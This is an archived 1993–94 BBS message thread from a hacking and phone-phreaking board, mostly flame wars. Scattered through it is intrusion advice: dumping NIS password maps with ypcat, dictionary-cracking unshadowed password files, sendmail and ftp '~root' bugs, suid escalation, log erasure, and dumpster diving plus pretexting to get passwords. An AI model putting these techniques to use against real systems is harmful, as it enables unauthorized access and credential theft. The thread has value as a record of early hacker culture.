model, I discovered two posts, but also a modular jack! We then
ventured to his neighbor's, where the same set up existed. Also, the
box had another section labelled "Telco Access" and required a spec
ial key to unscrew it. Is this common, or is it just common in newer
subdivisions? I did not even need to use my beige box, I just plugged
right in with a regular phone. I have not seen this before, but then
I haven't been real observant either.
rramone
From cosmos@yabbs Thu Dec 2 06:37:49 1993
From: cosmos@yabbs
To: rramone@yabbs
Subject: re: Beige Box
Date: Thu Dec 2 06:37:49 1993
Yes, it seems to be more common. In my area we still run off the green
monsters....(the huge green boxes filled with line cabling)...but many
newer areas and some older ones now have the jacks...
AT&T thought that beige boxing was too hard so they made it easier for all
the kiddies to rip them off even more...
Cosmos
From cosmos@yabbs Thu Dec 2 06:41:52 1993
From: cosmos@yabbs
To: all@yabbs
Subject: Cosmos 3l33t VMB
Date: Thu Dec 2 06:41:52 1993
Well all, if one has a desire or need to contact me outside this BBS, you
can call my new VMB. Leave anything you want, but the first person I
catch leaving codes is gonna get it(I am talking about calling cards,
visa, mastercard, etc...), and please leave something if you call...no
hang ups.
Cosmos VMB: 1-800-998-KRAD (yes, I am serious here)
I am box number COS1
after you are greeted with the "welcome to..." crap, hit the * key and
then type my box number.
Cosmos
From LordGraf@yabbs Thu Dec 2 11:16:46 1993
From: LordGraf@yabbs
To: iceman@yabbs
Subject: re: SL-1
Date: Thu Dec 2 11:16:46 1993
I though it was pretty good my school uses a meridian system so it helps
alot.
LordGrafx
From deprogra@yabbs Thu Dec 2 15:52:15 1993
From: deprogra@yabbs
To: cosmos@yabbs
Subject: re: Cosmos 3l33t VMB
Date: Thu Dec 2 15:52:15 1993
Cosmos, your posts fall into some clearly defined categories:
1) "The old days are over, and they will never return. Over, never return,
got that?! Give up!! I did it all, and I did it better, so how dare you
act as if hacking exists in the here and now instead of where we all know
it exists, the past of my life. Stop that this instant
!" (End fictitious quote)
There are lots of people red boxing and even blue boxing, today. Of course
these are nothing like the old days. In the old days companies like Sprint
were in their infancy, and there was nothing like internet. Now there are
new things to hack and new ways to hack them. And the old ways.
2) "If you would just go bacck and read the original posts, then you would
know what I was talking about."
I've been keeping up with this base for quite a while now and have read
every message on it.
3) "Stop talking about that, you're going to get us all in trouble!! And
get htoaster's computer seized!"
It's htoaster's board, and what he allows on it is his business and his
alone. He's taking the risks here and it's up to him to tell people what
not to talk about. Periodically, he does this. Futhermore, notice all
these [this message marked for deletion] messages? Refer to #2.
4) "Have you seen my article in Phrack? Phrack is great, you should all
read it. Whaddaya think, huh, whaddaya think? It's awful large, but tou
should all get it and read my article. I write for Phrack, therefore I am
hot shit."
Yes, I do read Phrack, and I'll get around to your article, but Phrack is
too large and too boring and not very useful. The articles on operating
systems have much more information than I need, and they appear to be
taken straight out of a manual. They should have hung it up at
#32 at the latest. Many phreaks argue that it is not really Phrack
anymore, that's why #32 was Phrack Classic.
5) "Intruder is a lame warez d00d who can't write or spell"
Intruder is struggling to speak English, a foreign language to him! He may
appear to be a 14 year old but he is not, don't be such an Anglophone
bigot! We have users telnetting in from Europe and Argentina, I think that
is COOL. Do you disagree with that?!
6) "ANI is the same as Caller ID, for you newbies"
Okay, seriously, you must have been oversimplifying. You just gotta know
better than that. ANI is used by operators and by 800 numbers to
determine the calling number, like when you get a collect call. CLID is
sent by the switch to the customer in areas where it's available. CLID is
a product they're trying to sell.
7) "3l33t VMB: 1800-998-KRAD"
After all your bitching about WaReZ D00dZ you do this...
\
I hate to add to the flame fest here, but cosmos's worthless egotistical
rigamarole has already sent this message base to pot. Next he'll be
telling us not to talk about dialouts, i suppose.
Eat shit, cosmos.
From Keman@yabbs Thu Dec 2 16:25:36 1993
From: Keman@yabbs
To: deprogra@yabbs
Subject: re: Cosmos 3l33t VMB
Date: Thu Dec 2 16:25:36 1993
Someone who actually has intelligence?? it can't be....
Grin, I agree with you 100 %
From xenon@yabbs Thu Dec 2 16:38:14 1993
From: xenon@yabbs
To: rramone@yabbs
Subject: re: Beige Box
Date: Thu Dec 2 16:38:14 1993
ummm...those type o boxes have been around this area fer quite a while...
all thats inside that area ya need a special screwdriver, (i think i used
my swiss army knife), is da wires coming in from da switchin box and da
wires goin out ta whatcha see in the other half o the box. sum telco
people will sign da inside of the box a special way...best one ive seen is
a drawin of woody-woodpecker....
--> Xenon
From horus@yabbs Thu Dec 2 16:45:15 1993
From: horus@yabbs
To: deprogra@yabbs
Subject: re: Cosmos 3l33t VMB
Date: Thu Dec 2 16:45:15 1993
Bravo, I agree. There are no Good Old Days, just a bunch of burnt out
lamers, that plariarize manuals, Cosmos why don't you do something worth
while like a How-To. Anyway there are alot more exciting things in HP than
there ewere in the 70/80's , going on right now
From cosmos@yabbs Thu Dec 2 19:36:47 1993
From: cosmos@yabbs
To: deprogra@yabbs
Subject: re: Cosmos 3l33t VMB
Date: Thu Dec 2 19:36:47 1993
Ohhh...flamed. When did I denounce red boxing as dead? I dont recall it,
shit I use mine daily. Blue Boxing, out of country is still possible and
if you live in hicksville on an old baby bell mechanical switch maybe.
Actually, you need to perhaps look for something in English called
sarcasm, I think you will find it in my posts. As for intruder, I could
give a shit less whether he speaks english or not, he still misses the
point entirely. And 32 still sucked...24-26 were the last good ones.
Thank you for your long, politically correct, insightful flame.
Back to your hole now.
Cosmos
From cosmos@yabbs Thu Dec 2 19:39:39 1993
From: cosmos@yabbs
To: horus@yabbs
Subject: re: Cosmos 3l33t VMB
Date: Thu Dec 2 19:39:39 1993
I got one coming up, its entitled, "How-To Join the Flame Bandwagon and
Sound Like I am Cool." Depovera or whatever his handle is at least layed
out the knowledge in his flame, you, there is no hope. Go kiss ass
somewhere else.
Cosmos
From pyro@yabbs Fri Dec 3 01:50:39 1993
From: pyro@yabbs
To: cosmos@yabbs
Subject: re: Cosmos 3l33t VMB
Date: Fri Dec 3 01:50:39 1993
Hehehe...
Lets face it Cosmos, we are right and they are wrong. Their jealousy just
forces them to try and have the balls out fun we used to have in the early
80's. Jealous I say, jealous.
Its very simple. Really.
-TP
From cosmos@yabbs Fri Dec 3 05:15:36 1993
From: cosmos@yabbs
To: pyro@yabbs
Subject: re: Cosmos 3l33t VMB
Date: Fri Dec 3 05:15:36 1993
Yeah, I should say so.
The New Hacker:
Cosmos
From pegasus@yabbs Fri Dec 3 10:55:05 1993
From: pegasus@yabbs
To: all@yabbs
Subject: Phalcom/skism
Date: Fri Dec 3 10:55:05 1993
From someplace i got this text:
If you likethis stuff contact The Phalcon/Skism Internet site for more
info.
Does anyone know whre theis i-net site is?
-Pegasus
From Cagim@yabbs Fri Dec 3 13:41:40 1993
From: Cagim@yabbs
To: pegasus@yabbs
Subject: re: 40hex
Date: Fri Dec 3 13:41:40 1993
Sheeesh!
IP= bongo.cc.utexas.edu
under /pub/mccoy/computer-underground
Cagim
From K0der@yabbs Fri Dec 3 14:25:51 1993
From: K0der@yabbs
To: deprogra@yabbs
Subject: Lamer
Date: Fri Dec 3 14:25:51 1993
You are pathetic deprogra, you do not know which end is up...I'll bet you
spent the whole time reading the thread to figure out how to write that
post and sound like you know something. You eat shit, moron. I speak
for myself and many other people who share Cosmos and Pyros line of
hacking philosophy: Learn from yourself, do not expect it on a platter..
As for you horus, you are plain worthless. You wouldnt recognize a hack
if it came up and bit your lame ass.
From deprogra@yabbs Fri Dec 3 17:11:56 1993
From: deprogra@yabbs
To: K0der@yabbs
Subject: re: Lamer
Date: Fri Dec 3 17:11:56 1993
Okay, fine, so we hack because we are jealous. It would be cool if you
could still turn on auto hacker, leave it running all day and come home to
a printout of codes. No, honest, I'm sure the old days were great. Pardon
me for not giving up and waxing nostalgic about history. Scuze me for not
staring in awe at people like you.
I obviously flamed cosmos with both barrels, saying while I did so
that I hate to add to the already copius flamage around here. Notice how
this debate is detracting from any constructive discussion around here? If
you think a question is stupid, ignore it, see if someone else lowers
themselves to respond... The attitude around here has turned into a
squelching of discourse.
Is Phrack zipped with PKZIP anywhere?
I think it is usually gnu zip, right?
Deprogram
[That is my handle, it is 1 character too long to be a username here.]
From abort@yabbs Fri Dec 3 18:28:30 1993
From: abort@yabbs
To: K0der@yabbs
Subject: re: Lamer
Date: Fri Dec 3 18:28:30 1993
Who is the guy wasting his time replying like I am to such stoopid
splooge? JK0der you are a loser if you believe that raggin on newbies
will make you hackG0D of yabbs, which is on the same campus as CERT is
centered. Yep jus K-rad you are. I dont care hold old time you or Cosmos
is unless you have soul you dont mean shit too me. I dont mean "soul" as
in souls-food but I mean actuall action not speaking about how old timer
you are and jus how K-rad the ole days wee. Drop the WaReZ D00D attitude
and get with reality. Do you reallythink that your hacking is gonna have
a affect on the way American Govt monopolizes info, or the way media
controls society thru info. I think not man. So grow up and cathc the
next boat to reality. There is no such thing as a ole-timer anymore, its
hacker, or hacker, not newbie, oldster. Hell why dont you put your
illusive talents to use and see if you can track my account down and send
me email, I bet you cant even do that.
From Maedhros@yabbs Fri Dec 3 20:00:07 1993
From: Maedhros@yabbs
To: all@yabbs
Subject: re: Lamer
Date: Fri Dec 3 20:00:07 1993
Hey guys, get the hell off of abort and deprogra's backs. If you want to
spout your idealistic dogma come on off this board and into 'anarchy'.
These people are trying to learn something, it's pretty damn low to talk
down to someone who's trying to learn. If you want to flame, come on
over, we live for this kinda shit. But for God's sake, if there is one,
leave them the hell alone!
Maedhros /\
/ \
/----\ Alas, if all Rome had
/ \ but one head.
-Caligula
From cosmos@yabbs Sat Dec 4 15:19:55 1993
From: cosmos@yabbs
To: deprogra@yabbs
Subject: re: Lamer
Date: Sat Dec 4 15:19:55 1993
Enough Deprogram. You have your philosophy, I have mine. Anyways, it is
pkzipped on ftp.netsys.com...at least 43 and 44 are. The rest are gnu
compressed.
Cosmos
From cosmos@yabbs Sat Dec 4 15:23:41 1993
From: cosmos@yabbs
To: abort@yabbs
Subject: re: Lamer
Date: Sat Dec 4 15:23:41 1993
Um, abort he is not a warez dude like you state. While, I think that
perhaps my little friend there went way off on a tangent, he is not warez.
Anyways, what dope are you smoking?? Where did the government come into
this flame war?? Who cares about the government, not me. Just ignore em.
I aint postin no more shit on this topic anymore.
Cosmos
From cosmos@yabbs Sat Dec 4 15:24:32 1993
From: cosmos@yabbs
To: Maedhros@yabbs
Subject: re: Lamer
Date: Sat Dec 4 15:24:32 1993
Not even worth the time to comment...
Cosmos
From phantacc@yabbs Sat Dec 4 15:25:34 1993
From: phantacc@yabbs
To: jmac@yabbs
Subject: re: Hello..
Date: Sat Dec 4 15:25:34 1993
Moron... is an hp-3000 running mpe. Its not a HELLO shell (what the fuck
would a HELLO shell be anyway!?!?). Get some t-files and read the default
passwords for an hp-3000.
From phantacc@yabbs Sat Dec 4 15:27:02 1993
From: phantacc@yabbs
To: jmac@yabbs
Subject: re: stuff
Date: Sat Dec 4 15:27:02 1993
oh yeah... BTW hp-3000 are usually ownd by state run facilities.
From jmac@yabbs Sat Dec 4 17:39:50 1993
From: jmac@yabbs
To: phantacc@yabbs
Subject: re: Hello..
Date: Sat Dec 4 17:39:50 1993
What the hell are you whining about now?
Jesus.
From horus@yabbs Sat Dec 4 18:18:08 1993
From: horus@yabbs
To: cosmos@yabbs
Subject: whine whine whine
Date: Sat Dec 4 18:18:08 1993
You haven't got the slightest idea do you cosmos? I was hacking back when
you were still in diapers. I went to school with the four guys that came
up with the Altair 8080 , so drop the Elite shit, your just anothe r
r0dent to me. You didn't come on the scene until after I had burnt and
come back to both H&P at least four times and over 15 years. Pyro, you're
getting just as bad as cosoms. They are at least tten times as many types
of phreaking, and hundreds of types of hacking today than there were in
the 80's. Shit I remeber the article in pop electronics abvout blue boxes
in the 80's than got teenie boopers like you started. IT SAID PHRESKING
WAS DEAD!
From abort@yabbs Sat Dec 4 21:44:43 1993
From: abort@yabbs
To: all@yabbs
Subject: now ofr something entirely
Date: Sat Dec 4 21:44:43 1993
Well, now that we got the pleasentries out of the way and all have
established their place in the pecking order lets go on to something a bit
more educational.
Now say you were at a dialup fo rthe local uni. it will let you
telnet, but only to machines in that "net" as they like to call it. Now i
have already done fakemail and all that stuff, and even some other shit,
but I was wondering, say if I got into the nameserver for this place could
I possibley place a few sites on itthat are outside of its normal area of
service? I would have annonimity that way, since now I need to use
borrowed accounts on the local uni machines sometimes to get what I need
done.
From EON@yabbs Sun Dec 5 00:32:44 1993
From: EON@yabbs
To: Maedhros@yabbs
Subject: re: Lamer
Date: Sun Dec 5 00:32:44 1993
I agree with you man Why the hell people flame people who will quite
possably be a good asset in the h/p society of ours becids we need all the
people we can get with out new people there are no new idears and with out
idears what are we ?? People followin a ollowing a strict set of guide
lines we haver to act like this we have to talk like that but with new
idears we might just find that a breth of fresh air might appear in the
h/p scene
PS . sorry about any typos the lag on this is terible somethink like 2
secs
From phragger@yabbs Sun Dec 5 09:39:31 1993
From: phragger@yabbs
To: Keman@yabbs
Subject: re: Cosmos 3l33t VMB
Date: Sun Dec 5 09:39:31 1993
take this flamewar of yours elsewhere. then eat shit.
and no. i`m not referring to cosmo.
get a sense of humor too.
it might help.
maybe.
From cosmos@yabbs Sun Dec 5 15:41:13 1993
From: cosmos@yabbs
To: horus@yabbs
Subject: re: whine whine whine
Date: Sun Dec 5 15:41:13 1993
hee hee. Can I have your autograph?
Cosmos
From cosmos@yabbs Sun Dec 5 17:29:06 1993
From: cosmos@yabbs
To: horus@yabbs
Subject: re: whine whine whine
Date: Sun Dec 5 17:29:06 1993
hee hee, look who's talking now... :)
I got a hard on just imagining how 3l33t you are...
Have a nice day.
Cosmos
From pyro@yabbs Sun Dec 5 20:39:41 1993
From: pyro@yabbs
To: horus@yabbs
Subject: re: whine whine whine
Date: Sun Dec 5 20:39:41 1993
My whole point is simple: I am willing to help people who wish to leran
something if, and only if, they are up to the challenge of puutting as
much or more effort in to learning that I am putting in helping. I am not
going to sit here and tell me exactly how to do things, thats not the
point. How can anyone expect to learn something by being spoonfed?
Lets look back. This whole topic started because some stupid, ignorant
little fools were posting shit about needing accounts and how they could
easily hack them. I responded with a long post about the problems with
asking for such idiot information on a public BBS and that hacking
accounts is tupid and inconsequential compared to real hacking.
Then a bunch of stupid fucks started babbling about how people like me
were holding back some stupid ideas of "the old days" of open sharing and
learning. I am sorry, people who asked such questions back then were
flamed as they are now.
Cosmos then joined in with some excellent posts on the differences between
today and 10 years ago and how stupid little kiddies can think they will
learn oh so much in 1 week what took many people to learn in many years.
If anyone honestly thiks they are going to get some real hacking info from
theis subboard on a large public BBS they are wrong. It will not happen.
No one in their right mind who knows anything worth knowing is not going
to go off and explain in detail anything to anyone here. Wait, thats a
double negative. Sorry. Anyone who knows anything is NOT going to spit
it out for all the people of the world to read. That is ludicrous.
Ideas and discussion are great, but for people to sit here and TEACH
people how to hack is just plain stupid. Thats a fact, deal with it.
If someone were to ask me a very informed question about somehting they
have worked on for quite a while I would answer it. But before you aks a
question people should think to themselves: "Do I know what I am talking
about? Have I exhausted the resources I have available to me on a
personal level? Have I read up on this subject? Can I read more? Is my
question informed enough so that those who would answer it are able to
withoout getting confused by it?" and may more.
Hacking is NOT just getting accounts and using a system. It goes way
beyond that, and anyone who truly likes hacking and takes it seriously
realizes that it is an intense passion for security and how it works.
And not just security, but the system in general. Accounts are a dime a
dozen. Any idiot can get accounts.
So, all of you people who would wish to know more. When you have a
uquestion ask yourself this one simple one first: "Have I even tried
reading some man pages on this subject yet?" If you answer no to that,
then you really shoud find a new hobby. And the man pages are just the
first of many places to find information.
And last of all: BE PATIENT. Nothing comes up and smacks you in the ass.
You have to spend a lot of time on it. If you really have no tother
interest in anything in the data world than hacking you really should give
up now. You need to be informed of the larger data world.
I could go on for a few hundred more lines, but I won't (I would not want
to subject you to anymore of my many typos).
So, remeber, if anyone wishes to ask questions of those who may know the
answer or provide some insight on where to find the answer please take the
time and effort to atleast try and solve it yourself or be informed as to
the nature of the question. Its simple, but its not easy.
-The Pyro.
From abort@yabbs Mon Dec 6 14:07:39 1993
From: abort@yabbs
To: pyro@yabbs
Subject: re: whine whine whine
Date: Mon Dec 6 14:07:39 1993
Bravo, my sentiments exactly, i flamed you guys at first because i admit I
only caught the tail end of the ongoing war. So now can we get to some
stuff besides flames. I mean I can get enough shit like that and
red-boxes at ISCA whee i usually sit out the boring hours. I am in no way
saying that I am hck-god or whatever, I have only been going for about
three or ofur months. I think i have progressed far for my time, but I
cant help but think ho wfar I havce to go just to satisfy my own curiosity
about things like connectivity in Inet, and the like.
I have a few friends, who i hope sont read this, who say they are into
hacking. BUT it seems all they do is ask questions and borow my books. I
spent most of the last four months online, close to 53% of my time would
be a reasonable estimate. Yeha it seems a bit high but i can t help
myself.
. Here is a ton more shit than cracking accounts, as a matter o fact any
newbie who knows how to compile and run a program on UNIX can do it. The
real fun is in getting accounts not by cracking pwords, but by going thru
holes, like the sendmail one a while ago was good(no it does not work now
so dont ask me about it) as well as neato tricks with menu systems and
gopher servers..
If you read ISCA Undeground room(comedy central really) you will see my
name in the room info as one to start people in the right direction for
learning. I have it easy I just have a macro set up that bombarsds there
mail with about 20 lines of "READ READ READ READ" and then a list of
sites to look
From cosmos@yabbs Mon Dec 6 14:20:00 1993
From: cosmos@yabbs
To: abort@yabbs
Subject: re: whine whine whine
Date: Mon Dec 6 14:20:00 1993
Sigh....
Pyro, perfectly stated.
abort, I fail too see why you intensely flamed pyro and me during the
latest bandwagon if you did not read the whole thread. That is what is
termed lame. Anyways, your analysis of "the sendmail bug does not work
anymore" is ludicrous and outright false. Shit, I just performed it this
morning on my own site. The only way the sendmail bugs do not work is if
the admins are smart enough to a) patch their binaries or b) install the
latest version.
I would estimate that a vast quantity of sendmail servers are still loaded
with the bug(s). On another note, I also found some sites with the
infamous quote cwd ~root bug in ftp today. If you know what you are doing
you will recognize that one. Needless to say, that one is a bit more rare
to find. :)
Cosmos
From BattleAn@yabbs Mon Dec 6 15:01:38 1993
From: BattleAn@yabbs
To: all@yabbs
Subject: Hacking.
Date: Mon Dec 6 15:01:38 1993
Oki. lets try do talk some hacking here, and cut the flamewaras.
<asbestos suite off>
I am currently looking for two things. Source code for a routert.
And a way to get those shadow pwfiles without super-user axs.
I'm not talking about any of those lame progs that go around on irc,
which basically only merge passwd and shadow IF u have root axs.
Can anyone help me? Source codes, docs, good ideas, bad ideas....
Battle Angel.
P.S. Norwegian hack scene rulz. Most ppl on the net. -)
From abort@yabbs Mon Dec 6 15:11:11 1993
From: abort@yabbs
To: BattleAn@yabbs
Subject: re: Hacking.
Date: Mon Dec 6 15:11:11 1993
I dont know if this will help but ypcat command has helped me a few times
on sites around here that had no passwd per se in the passwd feild of
concatenize the entries in a certain datafielld or base
lay with ypcat and it may help you out.
From abort@yabbs Mon Dec 6 15:23:00 1993
From: abort@yabbs
To: all@yabbs
Subject: re: Hacking.
Date: Mon Dec 6 15:23:00 1993
OK sorry for second message but I manned ypcat, ypmatch, ypfile and came
up with this. First the yp stands for yellow pages. This is a map or set
of nicknames for databases that are use throughout a network. It hs to do
with NIS dta bases. Basically you ypcat a nicknamed data base to cat it.
The actuall passwds are in passwd.byname but ypcat passwd does just fine.
The rest is up to you to figrue out.
From HCELINE@yabbs Wed Jan 12 03:08:12 1994
From: HCELINE@yabbs
To: all@yabbs
Subject: Shadowd PW files:
Date: Wed Jan 12 03:08:12 1994
OKay, first off, I'm new here, But forget introductions. There has
recently been alot of talk about Shadowd Password files, on multiple nets
I'm on. Personally, I have never been on a systems with one. Of course, I
spend most of my time on VAX, and DEC Servers, with a touch of AMOS thrown
in. Can someone throw down info on the Shadowed Password file, such as the
differences between SPWF (Shadowed Password Files) and the common ones
found in etc/pw. I am clueless when it comes to most inner working of
unix, so the help would be appriciated. If anyone needs help with VAX, I'm
perfectly willing to help.
Hagbard Celine
[ELF]
From Spara@yabbs Wed Jan 12 23:25:04 1994
From: Spara@yabbs
To: HCELINE@yabbs
Subject: re: Shadowd PW files:
Date: Wed Jan 12 23:25:04 1994
I'm not that educated in VAX/VMS myself. Generally, what kind of security
problems does VMS have? Default accounts and little tricks.
From Nomad@yabbs Sat Jan 15 14:17:08 1994
From: Nomad@yabbs
To: all@yabbs
Subject: VAX/VMS
Date: Sat Jan 15 14:17:08 1994
I really don't know much about VAX/VMS except for some limited DCL
programming and certain system admin. programs (authorize, ncp, etc) but I
have access to some very important machines that are running VAX/VMS and I
would like to know how to get the most out of each system. Under unix it
is rather simple but VMS appears to be a different story altogher. Maybe I
am wrong. What should I look for on VMS Systems? Do ppl still write
patches for them? Do VMS hackers go thru the work of learning MACRO-32?
What about encrypt/compare for sysuaf.dat? What about patches for set
host, etc? Any help would be greatly appreciated. I am looking for someone
with a good deal of experience with VMS that I can share these findings
with in return for information and findings on the system. Anyone filling
the bill leave me mail with you e-mail address....
No flames please, I am a big boy now. Flaming is lame.
Nomad
From Alvin@yabbs Sat Jan 15 21:46:19 1994
From: Alvin@yabbs
To: all@yabbs
Subject: <no title>
Date: Sat Jan 15 21:46:19 1994
Does anyone have CrackerJack 1.5?
From tknight@yabbs Sun Jan 16 17:16:14 1994
From: tknight@yabbs
To: HCELINE@yabbs
Subject: hey man...
Date: Sun Jan 16 17:16:14 1994
Hey hagbard,its Tobias.
Tobias Knight
[ELF]
From Fastjack@yabbs Mon Jan 17 07:05:21 1994
From: Fastjack@yabbs
To: HCELINE@yabbs
Subject: re: Shadowd PW files:
Date: Mon Jan 17 07:05:21 1994
Hello Hagbard...
Here's a little bit of info about Shadowed password files. I am most
familiar with the SunOS implementation, but I have examined (ie tried to
hack) others on Ultrix and SVR4. In a non-shadowed passwd file, the
passwords are the encrypted strings in the second entry of each line:
mylogin:Rh62jpr4:0:something:something.etc:you-get-the-idea:more:csh
or thereabouts. As has been pointed out, it is generally
impossible/impractacle to decrypt the encrypted strings, but programs to
encipher dictionary entries and then compare them to the encrypted strings
can get 10-30% of the passwords (this is highly variable; depends on the
difficulty of the passwords and also the time you spend cracking-- it
isn't practical to spend an extra 12 hours to get an extra handful).
Everyone has read access to the /etc/passwd file; you can see the obvious
security hole here. The shadowed password file is an additional file
containign the real passwords that can't be read...the original passwd
file has something else substituted in the place of the encrypted
password.
mylogin:##mylogin:1234:something:somethingelse.......
on SunOS, where the real encrypted string would be hidden in
mylogin:*:1234:somemorestuffthatsactuallyimportantifyoulook:.....
AT&T SVR4 has the passwords in /etc/shadow; hence 'shadowed passwords'.
Figuring out how to read the file is the real trick....
Yes, I know that mylogin is root in the first example...
Fastjack
From mephisto@yabbs Tue Jan 18 23:12:14 1994
From: mephisto@yabbs
To: Fastjack@yabbs
Subject: re: Shadowd PW files:
Date: Tue Jan 18 23:12:14 1994
What does an 'x' in the password field of a passwd file mean? Normal
accounts have visible passwords, but some (i.e. uucp, daemon, etc) have
an 'x' in the password field... are these passwords shadowed?
From htoaster@yabbs Tue Jan 18 23:44:14 1994
From: htoaster@yabbs
To: mephisto@yabbs
Subject: re: Shadowd PW files:
Date: Tue Jan 18 23:44:14 1994
In message re: Shadowd PW files:, mephisto said:
> What does an 'x' in the password field of a passwd file mean? Normal
> accounts have visible passwords, but some (i.e. uucp, daemon, etc) have
> an 'x' in the password field... are these passwords shadowed?
It just means that it is an invalid login. The crypt() function encrypts
to 13 characters, no matter what the input is, so it could never evaluate
as equal to a one character string.
htoaster
From MI-5@yabbs Thu Jan 20 14:33:02 1994
From: MI-5@yabbs
To: all@yabbs
Subject: PW cracker
Date: Thu Jan 20 14:33:02 1994
Does anyone know where I can get ahold of a good PW cracker that compares
the unix pw file to a dictionary. I would like a Mac version but any will
do. Thanks for your help.
From Fastjack@yabbs Sat Jan 22 15:03:49 1994
From: Fastjack@yabbs
To: MI-5@yabbs
Subject: re: PW cracker
Date: Sat Jan 22 15:03:49 1994
Ok....
Archie for Crack; the latest version is 4.1, I think. It is for Unix,
and has a number of useful options. Very interesting; it can run across a
number of networked machines of different types, also it can set itself up
automatically when you get the archive file. I don't know of any versions
for Macs, who'd want one?
If you managed to find a site w/o the password file being shadowed,
I'd like to hear about it. Leave a message here and we'll discuss...
Fastjack
From GodEater@yabbs Sat Jan 22 16:33:54 1994
From: GodEater@yabbs
To: Fastjack@yabbs
Subject: Shadowed PW
Date: Sat Jan 22 16:33:54 1994
I have found many systems with unshadowed password files. Including U
of Delaware. On the down side I know a purdue student who got busted for
cracking roughly 10,000 accounts at that college and a few others. He
wasn't really careless, somone told on him, not a sysop. The only trouble
he is in is expulsion for 1 semester.
From cosmos@yabbs Sat Jan 22 19:35:20 1994
From: cosmos@yabbs
To: Fastjack@yabbs
Subject: re: PW cracker
Date: Sat Jan 22 19:35:20 1994
What do you mean managed??? There are shitloads of unshadowed password
files out there. As for cracking them all just get one and that should be
enough to grab root on any given machine. If they have an unshadowed pw
file they can probably be hit with rdist or other goodies...
Cosmos
From Fastjack@yabbs Sat Jan 22 21:16:01 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: PW cracker
Date: Sat Jan 22 21:16:01 1994
cosmos--
I doubt that cracking a given pw file 'should be enough to grab root
on any given machine'. At my site, the passwd is shared between a number
of administrators, but is a very difficult one (see a file on
password security), ie, no recognizable words, alphanumerics w/ special
[!@#$%^&}] characters, control codes, etc. But I do appreciate the
input...
Fastjack
From abort@yabbs Sun Jan 23 00:20:00 1994
From: abort@yabbs
To: all@yabbs
Subject: re: PW cracker
Date: Sun Jan 23 00:20:00 1994
WEll Fastjack, I dont think cosmos was talking about grabbing the actual
passwd to the root acount from the unshadoewd pword file. He meant
hacking it out once in the system. I assume that he meant once your in
there is usually a way to get root. Like playing with suid programs, and
general mayhem you can get done with any account really. Once you get an
account, unless the system is really high security you can probably get
root if you know what your doing.
ALSO, someone stated that a "x" or "*" means that it is an invalid
account. That's not really true. As I have seen "*" used to mark a
shadowed passwd file. It's used as a marker. I have also seen and heard
of something like "x" bieng used to fill a place in the passwd field of a
invalid account. Like they do it to uucp and other normally default
accounts. This renders it impossbile to login to that account, but they
need to be there for certain system operations.
From cosmos@yabbs Sun Jan 23 13:05:16 1994
From: cosmos@yabbs
To: Fastjack@yabbs
Subject: re: PW cracker
Date: Sun Jan 23 13:05:16 1994
Please dont condescend me. You are the one who does not know what he is
talking about. Who the hell cares if the password is shared between
several administrators. Once you have ANY given shell account you only
then need to exploit any given number of holes and work from there. As
for reading about it, I could lecture at hand for hours about password
file manipulation. Read carefully before you try to appear
knowleadgeable.
Cosmos
From Fastjack@yabbs Sun Jan 23 16:24:15 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: PW cracker
Date: Sun Jan 23 16:24:15 1994
Ok cosmos...
*sorry* for the _misunderstanding_. Guess I should stop trying to
admin and just get back to cracking. I was in err; it is indeed possible
to go root on *many* machines utilizing well-known security holes. It
must be remembered that any site w/o a shadowed passwd file is <unlikely>
[to put it midly...heheheh] to apply the patches that CERT deems
necessary. Now that we have gotten past that point, why don't we discuss
something interesting, like what you'd do with root once you had it.
Besides the obvious, like set up an account for yourself (if no cron job
runs to diff it w/ the hidden backup) read mail spool (booooooring) erase
yourself from audit logs (ho hum, ho hum). Other that utilizing existing
gains to allow further penetration, what is there? From someone who has
experienced the phenomena of avatar, it ain't all it's cracked up to be.
I'd like to hear some thoughts-- personal opinions; no flame wars because
someone doesn't follow you 4 step process for cracking systems. And
cosmos, just how long have you yourself been on Unix boxes, eh?
Fastjack
From cosmos@yabbs Sun Jan 23 16:32:51 1994
From: cosmos@yabbs
To: Fastjack@yabbs
Subject: re: PW cracker
Date: Sun Jan 23 16:32:51 1994
I am still trying to comprehend what the hell "stop trying to admin and
get back to cracking" means. UNIX boxes?? Well, 1983 was my first
experience with UNIX as an OS. In 1985 I picked up an ATT UNIX miniframe
running SYS V rel 2 with some BSD extensions and some rel 3 extensisons
added later.
What do you do?? Depends on your own personal choice. I always just
enjoyed the hack initself. Once I got root, that was that. On to the
next machine. I never destroyed shit or made accounts for friends etc...
The only thing I can recall ever doing that was beyond getting root was
downloading/transfering source code for AT&T Sys V rel 3.2.2 a few years
back.
I admin. I hack. They complement each other.
Cosmos
From Justin@yabbs Mon Jan 24 19:10:27 1994
From: Justin@yabbs
To: fastjack@yabbs
Subject: new at this
Date: Mon Jan 24 19:10:27 1994
I've been reading some of the messages on the crack stuff for awhile now.
I'm new to the UNIX based machines, but highly familer to the dos based
stuff. The only way I was able to crack and IBM -based corp, was to drive
by in my pickup at night before the weekly trash pickup, and nab about
three good bags of garbage. This gave payroll receipts for employee names,
etc. And also possible dialups. If I got lucky, I was able to call into
the tech-support area (if the corporation was large enough) and claim to
be "Bob from the LAN area remote sight who forgot his password." As an
example. I have just enrolled as a freshman recently, and am new to the
UNIX based network. I am quite frustrated of not being able to access
certain community boards because I can't find their address to get a new
log-on. Any help would be appericiated in code-cracking. -Justin
From Fastjack@yabbs Mon Jan 24 19:29:39 1994
From: Fastjack@yabbs
To: Justin@yabbs
Subject: re: new at this
Date: Mon Jan 24 19:29:39 1994
Okay, I'm not sure what you're asking...
Do you mean the Internet IP numbers for Net BBSs that are local to you or
phone numbers for PC boards near your school? Either way, best bet is to
ask around there-- get to know some people who know what they are doing,
ask questions, but don't ask questions you don't have to. Play around- do
some work-- nobody apreciates giving away info to somebody who wants it
all handed on a silver platter. Too many people like that on the Net.
Just read, listen, and keep your mouth shut about anything you don't know
about....
About code-cracking: If you mean to crack Unix systems, it's best to
get at least one legit account (I assume you have one) and proceed from
there. Also, *don't* hack your own site-- they can get you easier and
hurt you more if you do--and it doesn't help you in any way to crash your
server...
Fastjack
From Fastjack@yabbs Mon Jan 24 20:03:23 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: PW cracker
Date: Mon Jan 24 20:03:23 1994
Okay....What I meant by 'stop trying to admin and get back to cracking
was that I've been spending amore time recently running shit (and I'm not
used to it from an admin's view, but I need the experience) that I haven't
been 'just cracking' like I used to-- Of course, I was stupid then, and I
